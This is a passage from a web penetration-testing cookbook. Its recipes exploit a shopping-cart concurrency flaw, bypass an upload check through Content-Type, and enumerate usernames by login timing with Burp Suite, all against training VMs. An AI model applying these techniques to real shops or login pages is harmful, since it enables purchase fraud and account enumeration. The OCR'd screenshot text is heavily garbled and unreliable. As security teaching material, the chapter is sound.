16 O"IT.I.:D:QTY::IJIO'I'Y3=.L*0TY4=D&SU'BHIT=UpdaI:.e+Cart
Figure 7.6 — Increasing the quantity to three

8. Stay in Burp Suite’s Repeater tab and, in the request pane, right-click and select Request in
browser | In current browser session:
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Dashboard Target Proxy Intruder Collaborator Sequencer
Organizer Extensions Learn Timeinator
2 2 x 3 x 4 x 5 x 6 x 7 x -+
Request Scan Response
Pretty Raw Hex Do passive scan Pretty Raw Hex
/WebGoat/attack ?Screer Do active scan
ZTHOSE: 192.168.29.128 Send to Intruder Ctrl+|
3 User-Agent: Mozilla/5.0 (Wi
rv:109.0) Gecko/20100101 Fi Send to Repeater Ctrl+R
4 Accept:
text/html, application/xhtml Sendto Seq EnEer
ge/avif,image/webp,*/*;q=0. Send to Comparer
5 Accept-Language: en-US,en;c
& Accept-Encoding: gzip, defl Send to Decoder
7 Content-Type: application/¥  Sendto Organizer Ctrl+0
2 Content-Length: 46
9 Origin: http://192.168.20.1  Insert Collaborator payload
10 Authorization: Basic Z3Vlc3 m - T r—
11 Connection: close
12 Referer: Extensions > ' |l‘tcun’a MMQ
http://192.1668.29. 128/WebG y
=14 oot Engagement tools >

13 Cookie: JSESSIONID=E452ZDCFD
14 Upgrade-Insecure-Requests:

15

1é QTY1=060TY2=04TY3=10}QTY4-

Change request method
Change body encoding

Figure 7.7 - Viewing the request in the current browser session

9. A popup displays the modified request. Click the Copy button:

Repeat request in browser

To repeat this request in your browser, copy the URL below and paste into a browser that is
configured to use Burp as its proxy.

ht_t_p_:ff bu[_p_suitef rgl_:aent," 1/ sug 6h3rnw¥gi?mi kuw_Pohfzqu_mqrn mg

In future, just copy the URL and don't show this dialog

Figure 7.8 — Copying the link

Copy

Close
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240 Assessing Business Logic

10. Using the same Firefox browser containing the shopping cart, open a new tab and paste in the
URL that you copied into the clipboard in the previous step:

C ® Q http://burp/repeat/3/wqdnz7gxdckpmcugbwOp0eb0b9jvsxtw

Figure 7.9 - Pasting the link into a new browser tab

11. Press the Enter key to see the request resubmitted with a modified quantity of 10:

&« e o ® 192.168.56.101/WebGoat/attack?Screen=15&menu=800 B e @ v

Choose another language: ‘ English + Logout 0

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction

G Solution Videos Restart this Lesson
eneral

Access Control Flaws

AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws
Buffer Overflows
Code Quality
Concurrency

Thread Safety Problems

Shopping Cart Concurrency -
Flaw Hitachi - 750GB External Hard Drive | $169.00 [0 $0.00
Cross-Site Scripting (XSS) =
Improper Error Handling g;:tlee:t-Packard =All-in-One Laser $299.00 ‘0 $0.00

Injection Flaws —_—
Denial of Service

Tnsetiire Cammufication Sony - Vaio with Intel Centrino $£1799.00/10 $17,990.00

Insecure Configuration

merchandise for a lower price.

Shopping Cart
Shopping Cart Items Price Quantity Subtotal

Insecure Storage Toshiba - XGA LCD Projector $649.00 {0 | $0.00
Malicious Execution
Parameter Tampering E
Session Management Flaws dotal; $17990:00
Web Services Update Cart
Admin Functions
Challenge
Purchase
ASPECT

OWASP Foundation | Project WebGoat | Report Bug
Figure 7.10 - Seeing the updated quantity

Switch to the original tab containing your shopping cart (the cart with the original quantity of
1). Click the Purchase button:



Testing business logic data validation 241

Shopping Cart

Shopping Cart Items Price Quantity Subtotal
Hitachi - 750GB External Hard Drive $169.00 |0 $0.00
Hewlett-Packard - All-in-One Laser
Hewlet $299.00|[0 |$0.00
Sony - Vaio with Intel Centrino $1799.00 11 $0.00
Toshiba - XGA LCD Projector $649.00||0 |s0.00
Total: $0.00

Update Cart

Purchase

Figure 7.11 — Purchasing the item on the original tab

12. At the next screen, before clicking the Confirm button, switch to the second tab and update
the cart again, but this time with our new quantity of 10, and click on Update Cart:

<« C ® 192.168.56.101/WebGoat/attack?Screen=15&menu=800 B -9

Choose another language: | English ~ Logout e

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction Solution Videos Restart this Lesson
General

Access Control Flaws

AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws : :
Bliffer Ovarlows merchandise for a lower price.

Code Quality
Concurrency

Thread Safety Problems

Shopping Cart Concurrency -
Flaw Hitachi - 7S0GB External Hard Drive | $169.00 |0 ||$0.00

Cross-Site Scripting (XSS)

Shopping Cart
Shopping Cart Items Price Quantity Subtotal

Improper Error Handling Hewlett-Packard - All-in-One Laser $299.00 |0 | $0.00
Injection Flaws Printer

Denial of Service IR "

fnsacure Communication Sony - Vaio with Intel Centrino $1799.00410 $17,990.00
Inspaiie Configuration Toshiba - XGA LCD Projector $649.00|[0 $0.00

Insecure Storage
Malicious Execution

Parameter Tampering .
Session Management Flaws Totalif§17;990,00

Web Services Update Cart
Admin Functions

Challenge

Purchase
ASI’EGT) i

OWASP Foundation | Project WebGoat | Report Bug

Figure 7.12 - Updating the cart on the second tab
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13. Return to the first tab, and click the Confirm button:

o Shopping Cart Concurrency X

« > C Q ® & 192.168.56.101/WebGoat/attack?Screen=15&menu=800 E e O i:?
Choose another language: 'English v Logout 0

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction g z 2
Cariaial Solution Videos Restart this Lesson
Access Control Flaws

AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws
Buffer Overflows
Code Quality
Concurrency

merchandise for a lower price.

Place your order

Thread Safety Problems - - -
Shopping Cart Concurmenc Shopping Cart Items Price |Quantity | Subtotal
Flaw Hitachi - 750GB External Hard Drive $169.00 0 $0.00
Cross-Site Scripting (XSS) Hewlett-Packard - All-in-One Laser Printer $299.00 0 $0.00
Improper Error Handlin r— 5
]mgctfo’n i 9 Sony - Vaio with Intel Centrino $1799.00 1 $1,799.00
Denial of Service Toshiba - XGA LCD Projector $649.00 0 $0.00
Insecure Communication
Insecure Configuration y
Insecure Storage Total: $1,799.00
Malicious Execution
Parameter Tamperin T
Session Managsmen% Flaws Enter your credit card number: W
WebiSeryices Enter your three digit access code: 111

Admin Functions
Challenge

ASPEGT)

OWASP Foundation | Project WebGoat | Report Bug

Figure 7.13 - Confirming the purchase on the first tab
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Notice we were able to purchase 10 Sony Vaio laptops for the price of 1!

Choose another language: | English ~ Logout e

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction

General Solution Videos Restart this Lesson
Access Control Flaws
AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws

Buffer Overflows merchandise for a lower price.

Code Quality
Concurrency * Thank you for shopping! You have (illegally!) received a 90% discount. Police are on
Thread Safety Problems the way to your IP address.
@ * Congratulations. You have successfully completed this lesson.
Shopping Cart

Concurrency Flaw

Cross-Site Scripting (XSS) Thank you for your purchase!

Improper Error Handling Confirmation humber: CONC-88

Injection Flaws Shopping Cart Items Price |Quantity| Subtotal
Denial of Service

Insecure Communication Hitachi - 750GB External Hard Drive $169.00 0 $0.00
Insecure Configuration Hewlett-Packard - All-in-One Laser Printer $299.00 0 $0.00
Insecure Storage

Malicious Execution Sony - Vaio with Intel Centrino $1799.00 10 $17,990.00
Parameter Tampering Toshiba - XGA LCD Projector $649.00] 0 |[$0.00
Session Management Flaws

Web Services
Admin Functions Total Amount Charged to Your Credit Card: $1,799.00
Challenge

Return to Store

ASPECT
Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

Figure 7.14 — All items in the cart were purchased at a lower price

How it works...

Thread safety issues can produce unintended results. For many languages, the developer’s knowledge of
how to declare variables and methods as thread-safe is imperative. Threads that are not isolated, such
as the cart contents shown in this recipe, can result in users gaining unintended discounts on products.

Unrestricted file upload - bypassing weak validation

Many applications allow for files to be uploaded for various reasons. Business logic on the server side
must include checking for acceptable files; this is known as whitelisting. If such checks are weak or
only address one aspect of file attributes (for example, file extensions only), attackers can exploit these
weaknesses and upload unexpected file types that may be executable on the server.
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244 Assessing Business Logic

Getting ready

Using the DVWA application and Burp, we will exploit a business logic design flaw in the file upload page.

How to do it...
1. Ensure the owaspbwa VM is running. Select DVWA from the initial landing page of the VM.
The landing page will be configured to an IP address specific to your machine.
2. On the login page, use these credentials—username: user; password: user.

3. Select the DVWA Security option from the menu on the left. Change the default setting of low
to medium and then click Submit:

2D

Home |  DVWA Security *
Instructions |
Setup | Script Security

Security Level is currently medium.
Brute Force

You can set the security level to low, medium or high.
Command Execution

The security level changes the vulnerability level of DVWA.

CSRF
Insecure CAPTCHA low __[1v] SRR
low
File Inclusion m
SQL Injection (Blind) v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
Upload

You can enable PHPIDS across this site for the duration of your session.

XSS reflected

|
|
|
|
|
SQL Injection | Hig
|
|
I PHPIDS is currently disabled. [: ]

XSS stored

[ 1-[ ]

Figure 7.15 — Setting security to medium
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4. Select the Upload page from the menu on the left:

. Vulnerability: File Upload

File Inclusion

Home
EHUERONS ‘ Choose an image to upload:
Setup ‘ Browse... No file selected.
Brute Force 1 Uplaed
Command Execution ‘ Mo nio
|
CSRF |
Insecure CAPTCHA |

SQL Injection

SQL Injection (Blind)

Figure 7.16 — Going to the Upload page

5. Note the page instructs users to only upload images. If we try another type of file other than a
JPG image, we receive an error message in the upper left-hand corner:

Your image was not uploaded.

Figure 7.17 - Only images are allowed

6. On your local machine, create a file of any type, other than JPG. For example, create a Microsoft
Excel file called malicious spreadsheet.xlsx. It does not need to have any content
for the purpose of this recipe.

7. Switch to Burp Suite’s Proxy | Intercept tab. Turn the interceptor on with the Intercept is
on button.

8. Return to Firefox, use the Browse button to find the malicious_ spreadsheet.xlsx
file on your system, and click the Upload button:



246

Assessing Business Logic

Vulnerability: File Upload

Choose an image to upload:
Browse... malicious spreadsheet.xlsx

Upload

Figure 7.18 — Attempting to upload an Excel spreadsheet

With the request paused in Burp Suite’s Proxy | Intercept tab, change the Content - Type value
from application/vnd.openxmlformats-officedocument.spreadsheetml.
sheet to image/jpeg instead.

Here is the original:

------------------------- 1809031010180&8

Content-Disposition: form-data; name="MAX FILE_SIZE"

100000

————————————————————————— 180503101018069

Content-Disposition: form-data; name="uploaded"; filename="malicious spreadsheet.xlsx"
Content-Type: application/vnd. openxmlformats-officedocument. spreadsheetml. sheet

Figure 7.19 - Original Content-Type value

Here is the modified version:

————————————————————————— 180903101018069

Content-Disposition: form-data; name="MAX FILE SIZE"

lo0000

————————————————————————— 1805021010180E9

Content-Disposition: form-data; name="uploaded"; filename="malicious_spreadsheet.xlsx"
Content-Type: image/jpeqg

10.

11.

Figure 7.20 — Modified Content-Type value

Click the Forward button. Now, turn the interceptor off by clicking the toggle button to
Intercept is off.

Note the file was uploaded successfully! We were able to bypass the weak data validation checks
and upload a file other than an image:
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Vulnerability: File Upload

Choose an image to upload:
Browse... No file selected.

Upload

../../hackable/uploads/malicious spreadsheet.xlsx succesfully uploaded!

Figure 7.21 - Spreadsheet is successfully uploaded

How it works...

Due to weak server-side checks, we can easily circumvent the image-only restriction and upload a
file type of our choice. The application code only checks for content types matching image/jpeg,
which is easily modified with an intercepting proxy such as Burp. Developers need to simultaneously
whitelist both content-type as well as file extensions in the application code to prevent this type of
exploit from occurring.

Performing process-timing attacks

By monitoring the time an application takes to complete a task, it is possible for attackers to gather
or infer information about how an application is coded. For example, a login process using a valid
username receives a response quicker than the same login process given an invalid username. This delay
in response time leaks information related to system processes. An attacker could use a response time
to perform account enumeration and determine valid usernames based on the timing of the response.

Getting ready

For this recipe, you will need the common_pass . txt wordlist from wfuzz, available here:
https://github.com/xmendez/wfuzz

Here’s the path to this:

wordlist | others | common pass.txt

Using OWASP Mutillidae II, we will determine whether the application provides information leakage
based on the response time from forced logins.

Ensure Burp Suite is running, and also ensure that the owaspbwa VM is running and that Burp Suite
is configured in the Firefox browser used to view owaspbwa applications.
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How to do it...

From the owaspbwa landing page, click the link to the OWASP Mutillidae II application.
Open Firefox browser to the home of OWASP Mutillidae IT (URL: http://<your VM

assigned IP_ address>/mutillidae/).

Go to the login page and log in using the username ed and the password pentest.

Switch to Burp Suite’s Proxy | HI'TP history tab, find the login you just performed, right-click,

and select Send to Intruder:

Burp Project Intruder Repeater Window Help
Dashboard Target Intruder Repeater
Extensions Learn

Intercept HTTP history WebSockets history

Filter: Hiding out of scope items; hiding CSS and image content

Burp Suite Professional v2023.5.3 - second_editi

Collaborator Sequencer

@ Proxy settings

E 3 Host

208
207 hittp://192.168.29.128

Method

http://192.168.29.128 GET

URL

/mutillidae/index.php?popUpNotificationCode=AU1

Request

Pretty Raw

Hex

1 POST /mutillidae/index.php?page=login.php HTTP/1l.1

[ o8]

w

1 M N b=

& User-Agent: Mozilla/5.0

16

| Accept-Encoding:

Host: 192.16B.29.128

Content-Length: 58

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.1668.29.128

Content-Type: application/x-www-form-urlencoded
(Windows NT 10.0; Wing4; xE4)
AppleWebKit/537.36 (FHTML, like Gecko) Chrome/114.0.5
Safari/537.36

Accept:

text/html,application/xhtml+xml, application/xml ;q=0.9
£, image/webp,image/apng,*/*;q=0.8,application/signed-
=b3;q=0.7

Referer:

http: //192.168.29.128/mutillidaes/index.php?page=login
NotificationCode=LOULl

gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=1; acopendivids=swvingset,jotto,phpb
: acgroupswithpersist=nada; PHPSESSID=
TvdsOhZ4gfhl0S568ntB3dfo233

Connection: close

b Ius ername=edspassword=pentests ‘. ogin-php-submit-buttons=

o
=1
Il

Pretty Raw
1 HTTP/1.1 302
2 Date: Tue, O
3 Server: Apac
PHP/5.3.2-1u

Scan
Do passive scan
Do active scan

Send to Intruder Ctrl+|

Send to Repeater Ctrl+R
Send to Sequencer

Send to Comparer

Send to Decoder

Ctrl+0

Show response in browser

Send to Organizer

Request in browser >
Engagement tools >
Copy URL

Figure 7.22 — Sending a POST request of the login to Repeater
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5.

Burp Project Intruder Repeater

Go to the Intruder | Positions tab and clear all the payload markers, using the Clear § button
on the right-hand side:

Window Help  Burp Suite Professional v2023.5.3 - second_edition_3.burp - licensed to Sunny Wear [single user... — [m] X

Dashboard Target Proxy Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {0} Settings
Extensions Learn
s T Q

Payloads Resource pool Settings

@ Choose an attack type m

Attack type: | Sniper 20

©)

Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

R T R ST O

Add §

Target: | http://192.168.29.128 Update Host header to match target

POST /mutillidae/index.php?page=login.php HTTP/L.1

Host: 192.168.29.128 Auto §
Content-Length: 58
Cache-Control: max-age=0 Refresh

Upgrade-Insecure-Requests: 1
Origin: http://192.1€B.29.128
Content-Type: application/x-www-form-urlencoded

¢ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4d; x€4) AppleWebKit/537.36 (FHTML, like Gecko) Chrome/114.0.5735.110

10

12
13

6.

Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avit, image/webp, image/apng, */*;q=0.8,application/signed-exc
hange;v=b3:q=0.7

Referer: http://192.168.25.128/mutillidae/index. php?page=login. phpapopUpNotificationCode=LOUL

1 Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.5,en-CA;q=0.8

Cookie: showhints=1; acopendivids=swingset,jotto,phpbbZ,redmine; acgroupswithpersist=nada; PHPSESSID=
Tvds0h24gfhl0568ntB3dfol33

Connection: close

username=edspagsword=pentestslogin-php-submit-button=Login
Figure 7.23 - Clearing any suggested positions

As shown in the following screenshot, select the username field and click the Add § button
to wrap a payload marker around that field. Also, replace the valid password with an invalid
password instead—for example, xx:
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; G 3

-

wn

Ton o

0 Referer: h
1 Accept-Enc
2 Accept-Landhage: en-US,en;q=0.9,en-CA;q=0.8

3 Cookie: shdwhints=l; acopendivids=swingset,jotto,phpbbZ,rednine; acgroupswithpersist=nada; PHPSESSID=

Dashboard Target Proxy Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {5} Settings

Extensions Leamn Timeinator

2x  + Q

Payloads Resource pool Settings
@ Choose an attack type m

Attack type:  Sniper ~

@ Payload positions
Cenfigure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Clear §

Target: | http://192.168.29.128 Update Host header to match target

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.168.29.128 Auto §
Content-Length: 58

Cache-Control: max-age=0 Refresh
Upgrade-Insecure-Requests: 1

Origin: htip://192.1€8.29.128

Content- : application/x-www-form-urlencoded

9 User-Agentdy Mozilla/5.0 (Windows NT 10.0; Wing&4; x&4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110
Safari/537 pé
Accept:

plication/xhtml+xml,application/xml;q=0.9,inage/avif, inage /webp,inage/apng,*/*;q=0.8,application/signed-exc
=0.7

p://192.1€68.28.128/mutillidae/index. php?page=1login. phpepopUpNotificationCode=L0UL

ing: gzip, deflate

text/html,
hange ;v=b3

Connection¥ close

¢ usernamg=S§ed§spassword=xx&login-php-submit-button=Login

Figure 7.24 — Adding substitution markers around the username value

Also, remove the PHPSESSID token. Delete the value present in this token (the content
following the equals sign) and leave it blank. This step is very important because if you happen
to leave this token in the requests, you will be unable to see the difference in the timings since
the application will think you are already logged in:
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Dashboard Target Proxy Repeater Collaborator Sequencer Decoder Comparer Logger Organizer @Settings

Extensions Learn Timeinator
1 % 2x + Q :
- Payloads Resource pool Settings
@ Choose an attack type m
Attack type: Sniper »

(3) Payload positions
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Add §
Target: | http://192.168.29.128 Update Host header to match target
Clear §
POST /mutillidae/index.php?page=login.php HTTP/1.1
Auto §

Host: 192.1€8.29.128

Content-Length: 58

Cache-Control: max-age=0 Refresh

Upgrade-Insecure-Requests: 1

Origin: http://192.168.29.128

Content-Type: application/x-www-form-urlencoded

§ User-Agent: Mozilla/5.0 (Windows NT 10.0; WingE4:; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.p735.110
Safari/537.38

9 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image /webp, image/apng, */*;q=0.8,applicatipn/signed-exc
hange ;v=b3;q=0.7

10 Referer: http://192.168.29.128/mutillidae/index.php?page=login.phpapopUplotificationCode=LOUL

11 Accept-Encoding: gzip, deflate 3

12 Accept-language: en-US,en;qg=0.9,en-CA;q=0.8
13 Cookie: showhints=l:; acopendivids=swingset,jotto,phpbbZ,rednine; acgroupswithpersist=nada: PHPSESSID=
14 Connection: close

O W

N

1€ username=§ed§cpassword=xx&login-php-submit-button=Login
Figure 7.25 - Removing the PHPSESSID cookie value
8.  Go to the Intruder | Payloads tab. Within the Payload Options [Simple list] section, we will add

some invalid values by using a wordlist from wfuzz containing common passwords (wfuzz /
wordlists/others/common pass.txt):
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Burp Project Intruder Repeater Window Help Burp Suite Professional

Dashboard Target Proxy Intruder Repeater Collaborator

Extensions Learn

1 = 2+

Positions Payloads Resource pool Settings

(3) Payload sets

You can define one or more payload sets. The number of payload sets depends on th
set, and each payload type can be customized in different ways.

Payload set: | 1 v Payload count: 52

Payload type: = Simple list hd Request count: 52

(3) Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
123456
Load .. 1234567
Remove 12345678
123asdf <
ncd Admin
Deduplicate | jadmin
administrator

Add Enter a new item

Add from list ... v

Figure 7.26 - Loading the wordlist

9. Scroll to the bottom and uncheck the checkbox in the Payload encoding section:

@ Payload encoding
This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests,

URL-encode these characters: | .A\=<>7+8&%:"{}|*'#

Figure 7.27 - Unchecking the box in the Payload encoding section
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10. Click the Start attack button. An attack results table appears. Let the attacks complete. From the
attack results table, select Columns and check Response received. Check Response completed
to add these columns to the attack results table:

a

Attack Save Columns 8. Intruder attack of http://192.168.29.128 - Temporary attack - Not saved to

Results Positio, « Request € pool Settings

Filter: Showing all ite ¥ Payload

~N S Wwm b WN = O

v Status code

Request Time of day ode Response.. Response.. Error Timeout Length

[ v Response received | 81 el 31015

v Response completed o = 50885

123456 17 118 50885

1234567 | ¥ Error 145 146 50885
12345678 | v Timeout 148 148 50885

123asdf | v Length 163 172 50885

A Cookies 142 142 50885

admin 190 199 30885

v Comment in = e

Figure 7.28 — Adding two extra columns to the attack results table

11. Analyze the results provided. According to OWASP (https://owasp.org/www-project-
web-security-testing-guide/latest/4-Web Application Security
Testing/10-Business Logic Testing/04-Test for Process Timing),
the steps to perform this test include providing a valid username (that is, ed) with an invalid
password and looking at the amount of time for the response to return from the server. Then,
perform the test again using an invalid username and an invalid password. You are looking
for a difference in response time (faster or slower) when the server reaches a valid username
versus an invalid username.

From the results of our test, we see the fastest response is when the server is provided a valid
username with an invalid password:
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Attack Save Columns 10. Intruder attack of http://192.168.29.128 - Temporary attack - Not saved to project file
Results Positions Payloads Resource pool Settings

Filter: Showing all items

Request Payload Status code Response received Response completed Error Timeout Length
200 e e ] i | 50885
2 123456 200 28 28 50885
|52 KKKKKKK 200 59 59 50885
Request Response
Prett Raw Hex

1 POST /mutillidae/index.php?page=login.php HTTP/1.1

2 Host: 192.168.25.128

Content-Length: 53

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.16B.29.128

Content-Type: application/x-www-form-urlencoded

& User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4) AppleWebKit/537.3€ (FKHTML, like Gecko) Chrome/114.0.5735.110 Safari
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign

-

1o

10 Referer: http://192.168.29.128/mutillidae/index.php?page=Llogin. phpspopUpNotificationCode=LOUL

11 Accept-Encoding: gzip, deflate

2 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

13 Cookie: showhints=1; acopendivids=swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada; PHPSESSID=

4 Connection: close

15
1€ username=edspassword=xxslogin-php-submit-button=Login

Figure 7.29 — Analyzing the results

How it works...

Information leakage can occur when processing error messages or through invalid coding paths that
take longer than valid code paths. Developers must ensure the business logic does not give away such
clues to attackers.
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There’s more...

We can use a Burp Suite extension called Timeinator that can help us identify process timing attacks
but with more requests for a better sample size.

1. Download the Burp Suite extension from the BApp Store subtab. Click the Install button:

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer @ Settin

Learn

Installed APls {5} Extensions settings

A Total estimated system impact:  Low @D

BApp Store @
The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities. yeol ‘ Search...
Name Installed | Rating  Popularity Lastupdated Systemimp.. — Detail be coloured red and faster requests will be coloured green.

SQLi Query Tampering e —4 035ep2020  Low

SQLiPy Sqimap Integrat... WErYri—— 06Jun2023  Low Troubleshooting

SQLMap DNS Collabora... W —i 24Mar2021  Low Pro extension . .

SRI Check Hrtrerdrr— 121012019 Low Pro extension e

T n: ++ m wil

SSL Scanner rEririd———1 25Feb2022  Low g ever Exfensions such o5 S0gger =mes « Bhpp store) will do
Stepper wirtrvn—i 16 Jul 2020 Low

Subdomain Extractor wareri—t 02Dec2019  Low

Taborator v —i 20Dec 2022  Low Pro extension - =

Target Redirector W —t 04Apr2018  Low et ®
ThreadFix Lrirrtrid 25Jan 2017 Low Pro extension Overal: Low &

Timestamp Editor Memery CPU Time Scanner

Token Extractor wiarrYn—t 10Feb 2022  Low Low & Low © Low 2 Low

Token Incrementor Wy 27Nov2020 Low

TokenJar Wi 09Jun2022  Low

Turbo Data Miner Lrertrtri- 20Apr202  Low anthac Sec el ABS

Turbo Intruder WYy ———06Jun2023  Low Version:  1.0a

Upload Scanner WIdrdi— 21Feb2022  Low Pro extension Source:  https://github.com/| i [timeinator

UPnP Hunter wirtrvred 06Dec2021  Low Updated: 25 Feb 2022

UUID Detector v i —i 23Feb2017  Low

ViewsState Editor v Wit ——— 10Mar 2021 Low Rating:  YOYTTLICYT | Submit rating

WAF Cookie Fetcher o 16Jan 2018 Low Popularity: |

WAFDetect wynerwn— 25Aug 2021 Low Pro extension

Wayback Machine i —i 18Jun2018  Low

WCF Deserializer wyrervri— 15un2017  Low

Web Cache Deception S... Wi —+— 23Nov2017  Low Pro extension

WebAuthn CBOR Deco... vl 09Dec2022 Low

Weblnspect Connector wrrdrdr— 10Aug 2016 Low Pro extension

Refreshlist | Manualinstall ...

Figure 7.30 - Installing the Timeinator extension
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2. Right-click the request we used in Intruder and send the same to the Timeinator plugin:

Dashboard Target Proxy Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {5} Settings
Extensions Learn Timeinator

1x  2x + Qi
Payloads Resource pool Settings
® Choose an attack type m

Attacktyp:‘ Sniper v |

() Payload positions

Configure the p where payloads will be inserted, they can be added into the target as well as the base request.
— Add §
Target: | http://192.168.29.128 Update Host header to match target
Clear §
1 POST /mutillidae/index.php?page=login.php HTTP/1.1
2 Host: 152.1£8.25.128 Auto §
3 Content-Length: 58 -
4 Cache-Control: max-age=0 Send to Repeater Ctrl+R Refresh
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.29.128 Send to Intruder Ctrl+l
7 Content-Type: application/x-www-form-urlencoded 5 - . .
© User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64) Scan defined insertion points | ¢\ o) chrome/114.0.5735. 110
Safari/537.36 Do passive scan

4 Accept:

text/htal,application/xhtml+xml, application/xml;q=0.9,1 Do active scan

hange;v=b3;q=0.7 > Content Type Converter >
10 Referer: http://192.168.29.128/mutillidae/index.php?pag

11 Accept-Encoding: gzip, deflate Convert selection > r, Time > m

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 URL-encode as you type

13 Cookie: showhints=1; ncopendivid:-“inqsec,jocm,phpbb:J nada; PHPSESSID=

14 Connection: close Cut Ctrl+X

15
Ilc' 'use:nane=§=d.§:paxswa:ﬂ=xx:],agin-php-subnil:—hul:\:an:Lng1n Copy Ctrl+C
¥ Paste Ctrl+V

Figure 7.31 - Sending the Intruder request to Timeinator

3. Inside Timeinator, add a substitution marker around username. Type three names (tom,
xx, ed) in the text area to be replaced in the substitution position:
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Dashboard Target Proxy Intruder R Collat S Decoder Comparer Logger Organizer @Sellmgs
Learn

Extensions
e
Target

Host: | 192.168.29.128

| StartAttack |

Port: | 80

["] Use HTTPS

Request _
Pretty Raw Hex ’ n =
1 POST /mutillidae/index.php?page=login.php HTTE/L.1 | Clear5 |

2 Host: 192.168.29.128

Content-Length: 58

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.1€8.29.128

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110

Safari/537.38

% Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, inage/webp, image/apng,*/*;q=0.8,application/signed-excha
nge;v=b3:q=0.7

10 Referer: http://192.168.29.128/mutillidas/index.php?page=login.phpepopUpNotificationCode=L0UL

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

13 Cookie: showvhints=1; acopendivids=swingset,jotto,phpbbZ, rednine; acgroupswithpersist=nada; PHPSESSID=

14 Connection: close

@3 e W

16 user d=xx&login-php-submit-button=Login

@@ \: \: ‘ Search... O matches
[Payloads

tom
xx
ed

Number of requests for each payload: | 100

Figure 7.32 — Adding a substitution marker and payloads

4. Click Start Attack at the top. Once done, switch over to the Results tab of Timeinator to read
the heat map produced. Notice the valid username with an invalid password has a much larger
standard deviation than the other login attempts using invalid usernames. Due to the larger
sampling size and additional math computations, you may feel more confident about your
process timing attack finding:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2

- second_edition_3.burp - licensed to Sunny Wear [single user... — O X
Dashboard Target Proxy Intruder Repeater  Collaborator Sequencer Decoder Comparer Logger  Organizer @ Settings
Extensions Learn Timeinator

Attack Results About

Payload MNumber of Requests Status Code Length (B) Body (B)

xx 100 200 50885 50408 K]
tom 100 200 50885 50408 %}

100 0 50885 50408

Minimum (ms) Maximum (ms) Mean (ms) Median (ms) StdDev (ms)

Figure 7.33 — Starting the attack and analyzing the results
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Testing for the circumvention of workflows

Shopping cart to payment gateway interactions must be tested by web application penetration testers
to ensure the workflow cannot be performed out of sequence. A payment should never be made unless
verification of the cart contents is checked on the server side first. In the event this check is missing,
an attacker can change the price, quantity, or both, prior to the actual purchase.

Getting ready

Using the OWASP WebGoat application and Burp, we will exploit a business logic design flaw in
which there is no server-side validation prior to a purchase.

How to do it...

1. Ensure the owaspbwa VM is running. Select the OWASP WebGoat application from the
initial landing page of the VM. The landing page will be configured to an IP address specific
to your machine.

2. After you've clicked the OWASP WebGoat link, you will be prompted for login credentials.
Use these credentials—username: guest; password: guest.

3. After authentication, click the Start WebGoat button to access the application exercises.

4. Click AJAX Security | Insecure Client Storage from the left-hand menu. You are presented
with a shopping cart:
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Choose another language: | English ~ | Logout e

Insecure Client Storage

OWASP WebGoat v5.4

Introduction . : ;
General Solution Videos Restart this Lesson

Control Elaws

AJAX Security STAGE 1: For this exercise, your mission is to discover a coupon code to receive an unintended
Same Origin Policy Protection discount.
LAB: DOM-Based cross-site
scripting
LAB: Client Side Filtering
DOM Injection
XML Inject

" e: m‘n Studio RTA - Laptop/Reading Cart with $69.99 0 4$0.00

JSON Injection Tilting Surface - Cherry . .
Silent Transactions Attacks

Dangerous Use of Eval
. Hewlett-Packard - Pavilion Notebook
Insecure Client Storage with Intel® Centrino™ $159999 | 0 $000

Authentication Flaws :

Buffer Overflows 21060 o Guapance Semvice Plan - 16399.99 |0 $0.00
Code Quality

Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
